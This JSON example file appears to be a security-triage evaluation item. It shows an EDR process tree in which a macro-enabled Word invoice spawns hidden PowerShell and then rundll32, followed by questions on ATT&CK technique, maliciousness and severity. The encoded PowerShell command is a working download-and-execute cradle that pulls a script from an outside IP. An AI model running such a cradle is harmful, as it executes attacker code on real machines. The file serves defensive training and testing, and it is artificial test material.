examples/edr_process_tree.json

{
 "model": "jue-flash",
 "state": {
  "host": "FIN-WS-0231",
  "os": "Windows 11",
  "process_tree": [
   {
    "pid": 4120,
    "image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE",
    "cmdline": "WINWORD.EXE /n \"C:\\Users\\lchen\\Downloads\\Invoice_Q3.docm\""
   },
   {
    "pid": 6644,
    "ppid": 4120,
    "image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
    "cmdline": "powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAyADIALgAxADUANAAuADkAOQAvAGEALgBwAHMAMQAnACkA"
   },
   {
    "pid": 7012,
    "ppid": 6644,
    "image": "C:\\Windows\\System32\\rundll32.exe",
    "cmdline": "rundll32.exe C:\\Users\\lchen\\AppData\\Local\\Temp\\upd.dll,DllRegisterServer"
   }
  ],
  "network": [
   {
    "pid": 6644,
    "dst": "185.22.154.99:80",
    "proto": "http"
   }
  ]
 },
 "questions": {
  "technique": {
   "type": "choice",
   "instructions": "Which MITRE ATT&CK technique best describes the PowerShell child of WINWORD.EXE?",
   "criteria": {
    "T1059.001": "Command and Scripting Interpreter: PowerShell",
    "T1218.011": "System Binary Proxy Execution: Rundll32",
    "T1003.001": "OS Credential Dumping: LSASS Memory",
    "T1021.001": "Remote Services: Remote Desktop Protocol"
   }
  },
  "malicious": {
   "type": "noul",
   "instructions": "This process tree is malicious activity rather than normal user behaviour."
  },
  "severity": {
   "type": "score",
   "instructions": "How urgent is the response to this host?",
   "criteria": [
    "Informational",
    "Low",
    "Medium",
    "High",
    "Critical"
   ]
  }
 }
}